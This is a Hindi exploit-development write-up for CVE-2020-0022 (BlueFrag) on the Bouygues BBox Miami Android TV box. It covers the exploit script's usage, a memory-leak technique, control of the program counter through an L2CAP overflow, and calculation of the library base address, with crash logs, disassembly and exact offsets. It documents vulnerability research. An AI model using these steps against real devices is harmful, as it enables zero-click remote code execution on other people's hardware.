
CVE-2020-0022 भेद्यता का शोषण Bouygues BBox Miami (Android TV 8.0 - ARM32 Cortex A9) पर
########################################################################################
Bouygues BBox Miami पर CVE-2020-0022 कमज़ोरी का शोषण Android TV 8.0 - ARM32 Cortex A9 Polo35 द्वारा - 2020/08/24
########################################################################################
"उपयोग: python polo_exploit.py target_bt_mac [target_adb_ip, shell_command, disable_reboot, verbose]"
########################################################################################
Jan Ruge के स्क्रिप्ट पर आधारित CVE-2020-0022 एक Android 8.0-9.0 Bluetooth Zero-Click RCE – BlueFrag https://insinuator.net/2020/04/cve-2020-0022-an-android-8-0-9-0-bluetooth-zero-click-rce-bluefrag/
########################################################################################
परिचय और सुझाव
########################################################################################
यह स्क्रिप्ट python bluetooth मॉड्यूल का उपयोग करके ACL कनेक्शन हैंडल प्राप्त करती है इसलिए आपको bluetooth लाइब्रेरीज़ और pybluez (python2 के लिए संस्करण 0.22 और python3 के लिए नवीनतम संस्करण) स्थापित करने की आवश्यकता है
sudo apt-get update sudo apt-get install bluetooth bluez libbluetooth-dev sudo pip install pybluez
आप स्क्रिप्ट को एक शेल कमांड पैरामीटर के रूप में दे सकते हैं जो bluetooth डेमॉन द्वारा सिस्टम फ़ंक्शन के साथ निष्पादित होगा शेल कमांड के लिए केवल 104 वर्ण उपलब्ध हैं क्योंकि ROP श्रृंखला दूसरे पेलोड के पहले 20 बाइट्स लेती है
उदाहरण: shell_command = "cat /dev/zero | echo 'Target Exploited' > /sdcard/Download/cve-2020-0022-poc"
यह स्क्रिप्ट एडीबी का उपयोग करके कनेक्शन की जांच कर सकती है, लॉगकैट देख सकती है और जरूरत पड़ने पर लक्ष्य को रिबूट कर सकती है इसके लिए आपको पैरामीटर के रूप में लक्ष्य आईपी देना होगा सुनिश्चित करें कि लक्ष्य एडीबी कनेक्ट से जुड़ा है और स्क्रिप्ट का उपयोग करने से पहले कनेक्शन की जांच के लिए एक शेल खोलें
सबसे अच्छा परिणाम तब मिलता है जब स्क्रिप्ट कहती है कि आप एक स्मार्टफोन के माध्यम से ब्लूटूथ से लक्ष्य से जुड़ें;) एक्सप्लॉयट को ट्रिगर करने में 30 से अधिक प्रयास लग सकते हैं लेकिन कभी-कभी यह पहले प्रयास में ही काम कर जाता है
########################################################################################
ARM32 के साथ मेमोरी लीक
########################################################################################
Bouygues BBox Miami ARM 32 बाइट Cortex A9 प्रोसेसर पर आधारित है ARM64 से अंतर यह है कि libc memcpy फ़ंक्शन अंडरफ़्लो नहीं होता है इसलिए Jan Ruge जैसी लीक प्राप्त करना असंभव है लेकिन यह कमज़ोरी मौजूद है और दूसरे तरीके से शोषण योग्य है
4 बाइट विखंडन के साथ l2cap पैकेट भेजकर हम reassemble_and_dispatch में 0 लंबाई की memcpy को ट्रिगर कर सकते हैं यह गूंज के अंत में 4 बाइट्स अप्रारंभीकृत डेटा प्राप्त करने की अनुमति देता है
पहले पैकेट की लंबाई (आगे mem_offset नाम) बढ़ाकर हम अप्रारंभीकृत मेमोरी पर "चल" सकते हैं एक ही mem_offset के साथ 32 गूँज प्राप्त करने से 2 से 8 शोषण योग्य गूँज मिलती हैं गूँज दोहराई जाती हैं इसलिए एक ही mem_offset पर 32 से अधिक गूँज प्राप्त करने की आवश्यकता नहीं है यह विधि मेमोरी को पैकेट्स से भी भरती है इसलिए पैटर्न को पहचानना और लीक में ऑफ़सेट ढूंढना आसान है
mem_offset वर्णों में l2cap पैकेट की लंबाई है जैसे: mem_offset 184 = 184 वर्णों का l2cap पैकेट = 368 बाइट्स का l2cap पैकेट
पुनरावृत्तियों के साथ मेमोरी पर "चलने" और अप्रारंभीकृत डेटा का उदाहरण:
176: 00000000 01000000 01000000 00000000 00000000 01000000 00000000 00000000 00000000 01000000 01000000 00000000 00000000 01000000 00000000 00000000 ................................................................ 177: 00000000 000000a4 00000024 00000000 00000000 000000a4 00000000 00000000 00000000 000000a4 00000024 00000000 00000000 000000a4 00000000 00000000 ...........$...............................$.................... 178: 00000000 0000a4ce 000024d2 00000000 00000000 0000a4d5 00000000 00000000 00000000 0000a4ce 000024d2 00000000 00000000 0000a4d5 00000000 00000000 ..........$...............................$..................... 179: 00000000 00a4ce80 0024d280 00000000 00000000 00a4d580 00000000 00000000 00000000 00a4ce80 0024d280 00000000 00000000 00a4d580 00000000 00000000 .........$...............................$...................... 180: 00000000 a4ce80a3 24d280a3 00000000 00000000 a4d580a3 00000000 00000000 00000000 a4ce80a3 24d280a3 00000000 00000000 a4d580a3 00000000 00000000 ........$...............................$....................... 181: 00000000 ce80a39c d280a31c 00000000 00000000 d580a39c 00000000 00000000 00000000 ce80a39c d280a31c 00000000 00000000 d580a39c 00000000 00000000 ................................................................ 182: 00000000 80a39cce 80a31cd2 00000000 00000000 80a39cd5 00000000 00000000 00000000 80a39cce 80a31cd2 00000000 00000000 80a39cd5 00000000 00000000 ................................................................ 183: 00000000 a39cce80 a31cd280 00000000 00000000 a39cd580 00000000 00000000 00000000 a39cce80 a31cd280 00000000 00000000 a39cd580 00000000 00000000 ................................................................ 184: 00000000 9cce80a3 1cd280a3 00000000 00000000 9cd580a3 00000000 00000000 00000000 9cce80a3 1cd280a3 00000000 00000000 9cd580a3 00000000 00000000 ................................................................ 185: 00000000 ce80a300 d280a300 00000000 00000000 d580a300 00000000 00000000 00000000 ce80a300 d280a300 00000000 00000000 d580a300 00000000 00000000 ................................................................ 186: 00000000 80a30000 80a30000 00000000 00000000 80a30000 00000000 00000000 00000000 80a30000 80a30000 00000000 00000000 80a30000 00000000 00000000 ................................................................ 187: 00000000 a3000000 a3000000 00000000 00000000 a3000000 00000000 00000000 00000000 a3000000 a3000000 00000000 00000000 a3000000 00000000 00000000 ................................................................ 188: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 ................................................................
हम mem_offset 180 और 184 पर लिटिल एंडियन में कुछ मेमोरी एड्रेस देख सकते हैं
a4ce80a3 पता देता है 0xa380cea4 24d280a3 पता देता है 0xa380d224 a4d580a3 पता देता है 0xa380d5a4 9cce80a3 पता देता है 0xa380ce9c 1cd280a3 पता देता है 0xa380d21c 9cd580a3 पता देता है 0xa380d59c
लगभग हर रिबूट के बाद कम से कम 4 या 5 mem_offset होते हैं जहाँ वास्तविक मेमोरी पता मिलना संभव है हम बाद में देखेंगे कि इनका उपयोग कैसे करना है
########################################################################################
पहले क्रैश का विश्लेषण
########################################################################################
2 बाइट विखंडन के साथ l2cap पैकेट भेजकर हम reassemble_and_dispatch में -2 लंबाई की memcpy को ट्रिगर कर सकते हैं यह दूसरे पैकेट से 30 बाइट्स नियंत्रित डेटा के साथ आंशिक पैकेट के बाहर ओवरफ़्लो करने की अनुमति देता है 30 कॉपी किए गए बाइट्स के कारण 32 बाइट्स से बड़े पैकेट भेजना आवश्यक नहीं है, अंतिम 4 बाइट्स शून्य होने चाहिए
यह ओवरफ़्लो विधि कभी-कभी _Z11list_appendP6list_tPv+65 में नियंत्रित R0 रजिस्टर के साथ ब्लूटूथ डेमॉन को क्रैश कर देती है:
HCI: Found link transmit data buffer queue at 0xab90dbc4 HCI: Found SetDataAdvDataSender function at 0x91875b29 HCI: Found bte_hh_evt function at 0x91818429 HCI: Found bluetooth library base address at 0x917a0000 First payload: 0x00: 0xdead0000 | 0x04: 0xdead0001 | 0x08: 0xdead0002 | 0x0c: 0xdead0003 0x10: 0xdead0004 | 0x14: 0xdead0005 | 0x18: 0xdead0006 | 0x1c: 0xdead0007 Second payload: 0x00 : 0xab90db14: 0xdead0008 | 0xab90db18: 0xdead0009 | 0xab90db1c: 0xdead000a | 0xab90db20: 0xdead000b 0x10 : 0xab90db24: 0xdead000c | 0xab90db28: 0xdead000d | 0xab90db2c: 0xdead000e | 0xab90db30: 0xdead000f 0x20 : 0xab90db34: 0xdead0010 | 0xab90db38: 0xdead0011 | 0xab90db3c: 0xdead0012 | 0xab90db40: 0xdead0013 0x30 : 0xab90db44: 0xdead0014 | 0xab90db48: 0xdead0015 | 0xab90db4c: 0xdead0016 | 0xab90db50: 0xdead0017 0x40 : 0xab90db54: 0xdead0018 | 0xab90db58: 0xdead0019 | 0xab90db5c: 0xdead001a | 0xab90db60: 0xdead001b 0x50 : 0xab90db64: 0xdead001c | 0xab90db68: 0xdead001d | 0xab90db6c: 0xdead001e | 0xab90db70: 0xdead001f 0x60 : 0xab90db74: 0xdead0020 | 0xab90db78: 0xdead0021 | 0xab90db7c: 0xdead0022 | 0xab90db80: 0xdead0023 0x70 : 0xab90db84: 0xdead0024 | 0xab90db88: 0xdead0025 | 0xab90db8c: 0xdead0026 | 0xab90db90: 0xdead0027 0x80 : 0xab90db94: 0xdead0028 | 0xab90db98: 0xdead0029 | 0xab90db9c: 0xdead002a | 0xab90dba0: 0xdead002b 0x90 : 0xab90dba4: 0xdead002c | 0xab90dba8: 0xdead002d | 0xab90dbac: 0xdead002e | 0xab90dbb0: 0xdead002f 0xa0 : 0xab90dbb4: 0xdead0030 | 0xab90dbb8: 0xdead0031 | 0xab90dbbc: 0xdead0032 | 0xab90dbc0: 0xdead0033 0xb0 : 0xab90dbc4: 0xdead0034 | 0xab90dbc8: 0xdead0035 ADB: Found interesting crash !!! libc : Fatal signal 11 (SIGSEGV), code 1, fault addr 0xdead0003 in tid 3918 (bt_workqueue) DEBUG : *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** DEBUG : Build fingerprint: 'BouyguesTelecom/BouygtelTV/HMB4213H:8.0.0/CALIFORNIE/6.30.13:user/release-keys' DEBUG : Revision: '0' DEBUG : ABI: 'arm' DEBUG : pid: 3871, tid: 3918, name: bt_workqueue >>> com.android.bluetooth <<< DEBUG : signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0xdead0003 DEBUG : r0 dead0003 r1 90d13e00 r2 90d13e00 r3 00000000 DEBUG : r4 ab9059f8 r5 90d13e00 r6 00000000 r7 00000000 DEBUG : r8 00000000 r9 904df340 sl 904df338 fp 00000001 DEBUG : ip acf310ec sp 904defd8 lr 918a3131 pc 918c98e2 cpsr a00f0030 DEBUG : DEBUG : backtrace: DEBUG : #00 pc 001298e2 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z11list_appendP6list_tPv+65) DEBUG : #01 pc 0010312d /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z24l2c_link_check_send_pktsP12t_l2c_linkcbP9t_l2c_ccbP6BT_HDR+36) DEBUG : #02 pc 0010298f /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z22l2c_link_hci_conn_comphtPh+78) DEBUG : #03 pc 000e5371 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z22btu_hcif_process_eventhP6BT_HDR+440) DEBUG : #04 pc 000e6607 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z17btu_hci_msg_readyP13fixed_queue_tPv+42) DEBUG : #05 pc 001290df /system/vendor/lib/hw/bluetooth.marvellberlin.so (_ZL22internal_dequeue_readyPv+46) DEBUG : #06 pc 0012b535 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_ZL11run_reactorP9reactor_ti+216) DEBUG : #07 pc 0012b431 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z13reactor_startP9reactor_t+44) DEBUG : #08 pc 0012c729 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_ZL10run_threadPv+136) DEBUG : #09 pc 00047f17 /system/lib/libc.so (_ZL15__pthread_startPv+22) DEBUG : #10 pc 0001b1dd /system/lib/libc.so (__start_thread+32)
001298e2 पर डिस्सेम्बली देती है:
.text:0x1298E0 loc_1298E0 ; CODE XREF: list_append:loc_1298CA↑j .text:0x1298E0 LDR R0, [R4,#0x10] => R0 को R4+0x10 से लोड करें .text:0x1298E2 LDR R1, [R0] => R1 को R0 से लोड करें => यदि नियंत्रित नहीं है तो क्रैश! .text:0x1298E4 MOVS R0, #8 => R0 में 8 सेट करें .text:0x1298E6 BLX R1 => R1 पर लिंक और एक्सचेंज के साथ शाखा => नियंत्रित R1 पर शाखा
डीकंपाइलेशन दिखाता है कि हम R4+0x10 के पते पर मेमोरी को अधिलेखित करते हैं जो कॉल "node = list->allocator->alloc(8)" में एलोकेटर है:
signed int list_append(list_t *list_ptr, void *data_ptr) { list_t *list = list_ptr; // r4 ... list_node_t node = (list_node_t)list->allocator->alloc(sizeof(list_node_t)); <= list = r4 / allocator = offset 0x10 / alloc = r1 / 8 = r0 / CRASH !!! ... node->data = data_ptr; // r5 ... }
डेमॉन LDR R1, [R0] पर क्रैश हुआ और R0 रजिस्टर = dead0003 पता लोड करने का प्रयास कर रहा था हम पहले पेलोड + 0xC के साथ R0 को नियंत्रित कर सकते हैं, इसलिए यदि हम इसमें एक वैध पता रखते हैं तो हम LDR R1, [R0] के साथ R1 को नियंत्रित कर सकते हैं और फिर BLX R1 के साथ PC को नियंत्रित कर सकते हैं
########################################################################################
लीक किए गए पते को ओवरफ़्लो करके प्रोग्राम काउंटर को नियंत्रित करना
########################################################################################
mem_offset 180 पर पाए गए पहले मेमोरी पते के साथ ओवरफ़्लो विधि का उपयोग करके क्रैश को नियंत्रित R1 रजिस्टर पर शाखा में ले जाया जा सकता है
HCI: Got ACL connection handle: 0xb
HCI: Getting link transmit data buffer queue pointer...
HCI: Found link transmit data buffer queue at 0xa458dbc4
HCI: Getting bluetooth library function pointers...
HCI: Found SetDataAdvDataSender function at 0x8a4a3b29
HCI: Found bluetooth library base address at 0x8a3ce000
Building the payloads...
First payload:
0x00: 0xdead0000 | 0x04: 0xdead0001 | 0x08: 0xdead0002 | 0x0c: 0xa458dbc4
0x10: 0xdead0003 | 0x14: 0xdead0004 | 0x18: 0xdead0005 | 0x1c: 0xdead0006
Second payload:
0x00 : 0xa458dbc4: 0xdead0007 | 0xa458dbc8: 0xdead0008 | 0xa458dbcc: 0xdead0009 | 0xa458dbd0: 0xdead000a
0x10 : 0xa458dbd4: 0xdead000b | 0xa458dbd8: 0xdead000c | 0xa458dbdc: 0xdead000d | 0xa458dbe0: 0xdead000e
0x20 : 0xa458dbe4: 0xdead000f | 0xa458dbe8: 0xdead0010 | 0xa458dbec: 0xdead0011 | 0xa458dbf0: 0xdead0012
0x30 : 0xa458dbf4: 0xdead0013 | 0xa458dbf8: 0xdead0014 | 0xa458dbfc: 0xdead0015 | 0xa458dc00: 0xdead0016
0x40 : 0xa458dc04: 0xdead0017 | 0xa458dc08: 0xdead0018 | 0xa458dc0c: 0xdead0019 | 0xa458dc10: 0xdead001a
0x50 : 0xa458dc14: 0xdead001b | 0xa458dc18: 0xdead001c | 0xa458dc1c: 0xdead001d | 0xa458dc20: 0xdead001e
0x60 : 0xa458dc24: 0xdead001f | 0xa458dc28: 0xdead0020 | 0xa458dc2c: 0xdead0021 | 0xa458dc30: 0xdead0022
0x70 : 0xa458dc34: 0xdead0023 | 0xa458dc38: 0xdead0024 | 0xa458dc3c: 0xdead0025 | 0xa458dc40: 0xdead0026
0x80 : 0xa458dc44: 0xdead0027 | 0xa458dc48: 0xdead0028 | 0xa458dc4c: 0xdead0029 | 0xa458dc50: 0xdead002a
0x90 : 0xa458dc54: 0xdead002b | 0xa458dc58: 0xdead002c | 0xa458dc5c: 0xdead002d | 0xa458dc60: 0xdead002e
0xa0 : 0xa458dc64: 0xdead002f | 0xa458dc68: 0xdead0030 | 0xa458dc6c: 0xdead0031 | 0xa458dc70: 0xdead0032
0xb0 : 0xa458dc74: 0xdead0033 | 0xa458dc78: 0xdead0034
Prepare to connect to the target via bluetooth with your smartphone
HCI: Spraying second payload at 0xa458dbc4
Connect to the target via bluetooth with your smartphone
HCI: Triggering the exploit with first payload... (1/3)
ADB: Bluetooth deamon crashed (3/20)
ADB: Found interesting crash !!!
07-20 09:28:01.020 20972 21006 F libc : Fatal signal 11 (SIGSEGV), code 1, fault addr 0xdead0032 in tid 21006 (bt_workqueue)
07-20 09:28:01.123 21061 21061 F DEBUG : *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***
07-20 09:28:01.123 21061 21061 F DEBUG : Build fingerprint: 'BouyguesTelecom/BouygtelTV/HMB4213H:8.0.0/CALIFORNIE/6.30.13:user/release-keys'
07-20 09:28:01.123 21061 21061 F DEBUG : Revision: '0'
07-20 09:28:01.123 21061 21061 F DEBUG : ABI: 'arm'
07-20 09:28:01.123 21061 21061 F DEBUG : pid: 20972, tid: 21006, name: bt_workqueue >>> com.android.bluetooth <<<
07-20 09:28:01.123 21061 21061 F DEBUG : signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0xdead0032
07-20 09:28:01.123 21061 21061 F DEBUG : r0 00000008 r1 dead0033 r2 8970a200 r3 00000000
07-20 09:28:01.123 21061 21061 F DEBUG : r4 a4585c38 r5 8970a200 r6 00000000 r7 00000000
07-20 09:28:01.123 21061 21061 F DEBUG : r8 00000000 r9 891fd340 sl 891fd338 fp 00000001
07-20 09:28:01.124 21061 21061 F DEBUG : ip a66aa0ec sp 891fcfd8 lr 8a4f78e9 pc dead0032 cpsr 200f0030
07-20 09:28:01.228 21061 21061 F DEBUG :
07-20 09:28:01.228 21061 21061 F DEBUG : backtrace:
07-20 09:28:01.228 21061 21061 F DEBUG : #00 pc dead0032
07-20 09:28:01.229 21061 21061 F DEBUG : #01 pc 001298e7 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z11list_appendP6list_tPv+70)
07-20 09:28:01.229 21061 21061 F DEBUG : #02 pc 0010312d /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z24l2c_link_check_send_pktsP12t_l2c_linkcbP9t_l2c_ccbP6BT_HDR+36)
07-20 09:28:01.229 21061 21061 F DEBUG : #03 pc 0010298f /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z22l2c_link_hci_conn_comphtPh+78)
07-20 09:28:01.229 21061 21061 F DEBUG : #04 pc 000e5371 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z22btu_hcif_process_eventhP6BT_HDR+440)
07-20 09:28:01.229 21061 21061 F DEBUG : #05 pc 000e6607 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z17btu_hci_msg_readyP13fixed_queue_tPv+42)
07-20 09:28:01.229 21061 21061 F DEBUG : #06 pc 001290df /system/vendor/lib/hw/bluetooth.marvellberlin.so (_ZL22internal_dequeue_readyPv+46)
07-20 09:28:01.229 21061 21061 F DEBUG : #07 pc 0012b535 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_ZL11run_reactorP9reactor_ti+216)
07-20 09:28:01.229 21061 21061 F DEBUG : #08 pc 0012b431 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z13reactor_startP9reactor_t+44)
07-20 09:28:01.229 21061 21061 F DEBUG : #09 pc 0012c729 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_ZL10run_threadPv+136)
07-20 09:28:01.229 21061 21061 F DEBUG : #10 pc 00047f17 /system/lib/libc.so (_ZL15__pthread_startPv+22)
07-20 09:28:01.229 21061 21061 F DEBUG : #11 pc 0001b1dd /system/lib/libc.so (__start_thread+32)
001298e7 पर वही डिस्सेम्बली देती है:
.text:0x1298E0 loc_1298E0 ; CODE XREF: list_append:loc_1298CA↑j .text:0x1298E0 LDR R0, [R4,#0x10] => R0 को R4+0x10 से लोड करें .text:0x1298E2 LDR R1, [R0] => R1 को R0 से लोड करें => यदि नियंत्रित नहीं है तो क्रैश .text:0x1298E4 MOVS R0, #8 => R0 में 8 सेट करें .text:0x1298E6 BLX R1 => R1 पर लिंक और एक्सचेंज के साथ शाखा => नियंत्रित R1 पर शाखा !!! .text:0x1298E8 MOV R1, R0
अब डेमॉन BLX R1 पर क्रैश हो गया है और R1 रजिस्टर = dead0033 है यह वह पैटर्न है जो mem_offset 184 पर लीक प्राप्त करने पर खंडित पैकेट में भेजा गया था यह दूसरा पेलोड होगा जिसमें mem_offset 180 पर पाए गए पहले मेमोरी पते से - 0xb0 के ऑफ़सेट पर एक ज्ञात पता होगा
अब हम bluetooth.marvellberlin.so लाइब्रेरी के PC को नियंत्रित कर सकते हैं, मेमोरी में डेटा का दूसरा स्थान है और हम इसका पता जानते हैं
सिग्नल के बाद रजिस्टरों में शामिल हैं:
########################################################################################
ब्लूटूथ लाइब्रेरी बेस एड्रेस प्राप्त करना
########################################################################################
mem_offset 28 पर लीक विधि का उपयोग करके हम कुछ मेमोरी पते खोजने में सक्षम हैं:0026 : 00002954 74007400 74006600 58a9292b 74006600 74007400 72002e00 58a9292b 00002954 70007000 74007400 58a9292b 74006600 74007400 74006600 58a9292b : ..)Tt.t.t.f.X.)+t.f.t.t.r...X.)+..)Tp.p.t.t.X.)+t.f.t.t.t.f.X.)+ 0027 : 0029546c 00740066 002e0074 a9292b72 00660000 00700066 00740066 a9292b72 0029546c 00740066 00660066 a9292b72 00660000 00740066 002e0074 a9292b72 : .)Tl.t.f...t.)+r.f...p.f.t.f.)+r.)Tl.t.f.f.f.)+r.f...t.f...t.)+r 0028 : 29546c8f 70006600 74006600 292b728f 66000000 74006600 66006600 292b728f 29546c8f 74006600 2e007400 292b728f 66000000 70006600 74006600 292b728f : )Tl.p.f.t.f.)+r.f...t.f.f.f.)+r.)Tl.t.f...t.)+r.f...p.f.t.f.)+r. 0029 : 00660066 00660000 2b728f01 00000000 00660000 00740074 2b728f01 00660066 00660000 00660066 2b728f01 00000000 00660000 00660000 2b728f01 00740074 : .f.f.f..+r.......f...t.t+r...f.f.f...f.f+r.......f...f..+r...t.t 0030 : 66006600 66000000 728f0100 00000000 66000000 66006600 728f0100 74007400 66006600 66000000 728f0100 00000000 66000000 66000000 728f0100 74007400 : f.f.f...r.......f...f.f.r...t.t.f.f.f...r.......f...f...r...t.t.
हम लीक 29546c8f और 292b728f देख सकते हैं जो लिटिल एंडियन में पता 0x8f6c5429 और 0x8f722b29 देते हैं
उन पतों के साथ ओवरफ्लो विधि का उपयोग करने पर bluetooth.marvellberlin.so में डिमन क्रैश हो जाता है, निम्न क्रैश डंप के साथ:
libc : Fatal signal 11 (SIGSEGV), code 1, fault addr 0x10 in tid 4151 (bt_workqueue) DEBUG : *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** DEBUG : Build fingerprint: 'BouyguesTelecom/BouygtelTV/HMB4213H:8.0.0/CALIFORNIE/6.30.13:user/release-keys' DEBUG : Revision: '0' DEBUG : ABI: 'arm' DEBUG : pid: 4107, tid: 4151, name: bt_workqueue >>> com.android.bluetooth <<< DEBUG : signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0x10 DEBUG : Cause: null pointer dereference DEBUG : r0 00000008 r1 8c35db29 r2 8b006300 r3 00000020 DEBUG : r4 a6405578 r5 8b006300 r6 00000020 r7 ff183456 DEBUG : r8 a6405560 r9 00000006 sl 00000002 fp 8affef70 DEBUG : ip 00001e7e sp 8affef60 lr 8c3b18e9 pc 8c35db3c cpsr 200f0030 DEBUG : DEBUG : backtrace: DEBUG : #00 pc 000d5b3c /system/vendor/lib/hw/bluetooth.marvellberlin.so (ZN4base8internal7InvokerINS0_9BindStateIMN12_GLOBAL__N_125BleAdvertisingManagerImplEFvhhhhPhNS_8CallbackIFvhELNS0_8CopyModeE1EEEEJNS0_17UnretainedWrapperIS4_EEbEEEFvhhhS5_S9_EE3RunEPNS0_13BindStateBaseEOhSJ_SJ_OS5_OS9+19) DEBUG : #01 pc 001298e7 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z11list_appendP6list_tPv+70) DEBUG : #02 pc 0010312d /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z24l2c_link_check_send_pktsP12t_l2c_linkcbP9t_l2c_ccbP6BT_HDR+36) DEBUG : #03 pc 0010477f /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z16l2c_rcv_acl_dataP6BT_HDR+2190) DEBUG : #04 pc 001290df /system/vendor/lib/hw/bluetooth.marvellberlin.so (_ZL22internal_dequeue_readyPv+46) DEBUG : #05 pc 0012b535 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_ZL11run_reactorP9reactor_ti+216) DEBUG : #06 pc 0012b431 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z13reactor_startP9reactor_t+44) DEBUG : #07 pc 0012c729 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_ZL10run_threadPv+136) DEBUG : #08 pc 00047f17 /system/lib/libc.so (_ZL15__pthread_startPv+22) DEBUG : #09 pc 0001b1dd /system/lib/libc.so (__start_thread+32)
हम bluetooth.marvellberlin.so लाइब्रेरी के .text सेक्शन में ऑफ़सेट 000d5b3c पर पहुँचते हैं
.text:0x0D5B28 SetDataAdvDataSender ; DATA XREF: .text:0x0D2B82↑o .text:0x0D5B28 .text:0x0D5B28 PUSH.W {R4-R11,LR} .text:0x0D5B2C SUB SP, SP, #0x1C .text:0x0D5B2E LDR R7, =(off_1A2718 - 0xD5B38) .text:0x0D5B30 ADD.W R11, SP, #0x10 .text:0x0D5B34 ADD R7, PC ; off_1A2718 .text:0x0D5B36 LDR R7, [R7] .text:0x0D5B38 LDR R7, [R7] .text:0x0D5B3A STR R7, [SP,#0x1C-4] .text:0x0D5B3C LDRD.W R10, R7, [R0,#8]
क्रैश फ़ंक्शन की शुरुआत के ठीक बाद 0xd5b3c पर है, इसलिए पाया गया पता इस फ़ंक्शन का पॉइंटर है यह फ़ंक्शन BleAdvertisingManagerImpl वर्ग का SetDataAdvDataSender है, जिसे btm_ble_multi_adv.cc फ़ाइल के SetData फ़ंक्शन में पॉइंटर के रूप में उपयोग किया जाता है
void SetData(uint8_t inst_id, bool is_scan_rsp, std::vector<uint8_t> data, MultiAdvCb cb) override { ... DivideAndSendData(inst_id, data, cb, base::Bind(&BleAdvertisingManagerImpl::SetDataAdvDataSender, base::Unretained(this), is_scan_rsp)); }
अब हमारे पास bluetooth.marvellberlin.so लाइब्रेरी में एक निश्चित स्थान का पता है और हम इस लाइब्रेरी का बेस पता निकाल सकते हैं लाइब्रेरी बेस एड्रेस से वास्तविक ऑफ़सेट mem_offset 28 पर पाए गए SetDataAdvDataSender फ़ंक्शन के पॉइंटर से 0XD5B29 है
उपरोक्त उदाहरण में हमने SetDataAdvDataSender फ़ंक्शन को 0X8C35DB29 पर पाया और इस पते को ओवरफ्लो किया ब्लूटूथ लाइब्रेरी का बेस एड्रेस 0X8C35DB29 - 0XD5B29 = 0X8C288000 था
हमने उसी लीक में mem_offset 28 पर 0x8C300429 का एक पॉइंटर भी पाया दो पाए गए पतों के बीच का अंतर 0x8C35DB29 - 0x8C300429 = 0x5D700 है हम जानते हैं कि SetDataAdvDataSender ब्लूटूथ लाइब्रेरी में 0xD5B28 पर है, इसलिए हम दूसरे पाए गए पॉइंटर का पता निकाल सकते हैं: 0xD5B28 - 0x5D700 = 0x78428 ब्लूटूथ लाइब्रेरी में 0x78428 पर हमारे पास फ़ंक्शन bte_hh_evt है, जिसका उपयोग btif_hh.cc फ़ाइल के btif_hh_service_registration और btif_hh_execute_service फ़ंक्शन में किया जाता है
void btif_hh_service_registration(bool enable) { ... BTA_HhEnable(BTA_SEC_ENCRYPT, bte_hh_evt); ... }
bt_status_t btif_hh_execute_service(bool b_enable) { ... BTA_HhEnable(BTUI_HH_SECURITY, bte_hh_evt); ... }
mem_offset 28 पर पाए गए दो पते हमेशा SetDataAdvDataSender फ़ंक्शन के लिए 0xB29 और bte_hh_evt फ़ंक्शन के लिए 0x429 पर समाप्त होते हैं इस विधि से हमें ब्लूटूथ बेस एड्रेस खोजने के लिए लीक में ज्ञात दो पतों में से केवल एक की आवश्यकता है
संक्षेप में, हम ब्लूटूथ लाइब्रेरी का बेस एड्रेस निम्न प्रकार से पा सकते हैं:
########################################################################################
एंड्रॉइड स्रोत कोड के साथ क्रैश का विश्लेषण
########################################################################################
एंड्रॉइड ओरियो 8.1 का स्रोत कोड दर्शाता है कि हम लिंक ट्रांसमिट डेटा बफर कतार ऑब्जेक्ट p_lcb->link_xmit_data_q के एक हिस्से को ओवरराइट करते हैं
l2c_rcv_acl_data फ़ंक्शन tL2C_LCB* p_lcb ऑब्जेक्ट बनाता है और इसे l2c_link_check_send_pkts फ़ंक्शन में भेजता है जो पैकेट को link_xmit_data_q बफर कतार में जोड़ता है
void l2c_rcv_acl_data(BT_HDR* p_msg) { ... tL2C_LCB* p_lcb; ... /* Find the LCB based on the handle / p_lcb = l2cu_find_lcb_by_handle(handle); ... / Send the data through the channel state machine */ if (rcv_cid == L2CAP_SIGNALLING_CID) { process_l2cap_cmd(p_lcb, p, l2cap_len); ... }
tL2C_LCB* l2cu_find_lcb_by_handle(uint16_t handle) { ... tL2C_LCB* p_lcb = &l2cb.lcb_pool[0];
for (xx = 0; xx < MAX_L2CAP_LINKS; xx++, p_lcb++) { if ((p_lcb->in_use) && (p_lcb->handle == handle)) { return (p_lcb); } } ... }
p_lcb को स्थिर l2cb.lcb_pool[0] ऑब्जेक्ट से लिया गया है जैसा कि l2c_main.cc में परिभाषित है
// / G L O B A L L 2 C A P D A T A / // tL2C_CB l2cb;
static void process_l2cap_cmd(tL2C_LCB* p_lcb, uint8_t* p, uint16_t pkt_len) { ... case L2CAP_CMD_ECHO_REQ: l2cu_send_peer_echo_rsp(p_lcb, id, p, cmd_len); ... }
void l2cu_send_peer_echo_rsp(tL2C_LCB* p_lcb, uint8_t id, uint8_t* p_data, uint16_t data_len) { ... p_buf = l2cu_build_header(p_lcb, (uint16_t)(L2CAP_ECHO_RSP_LEN + data_len), L2CAP_CMD_ECHO_RSP, id); ... l2c_link_check_send_pkts(p_lcb, NULL, p_buf); }
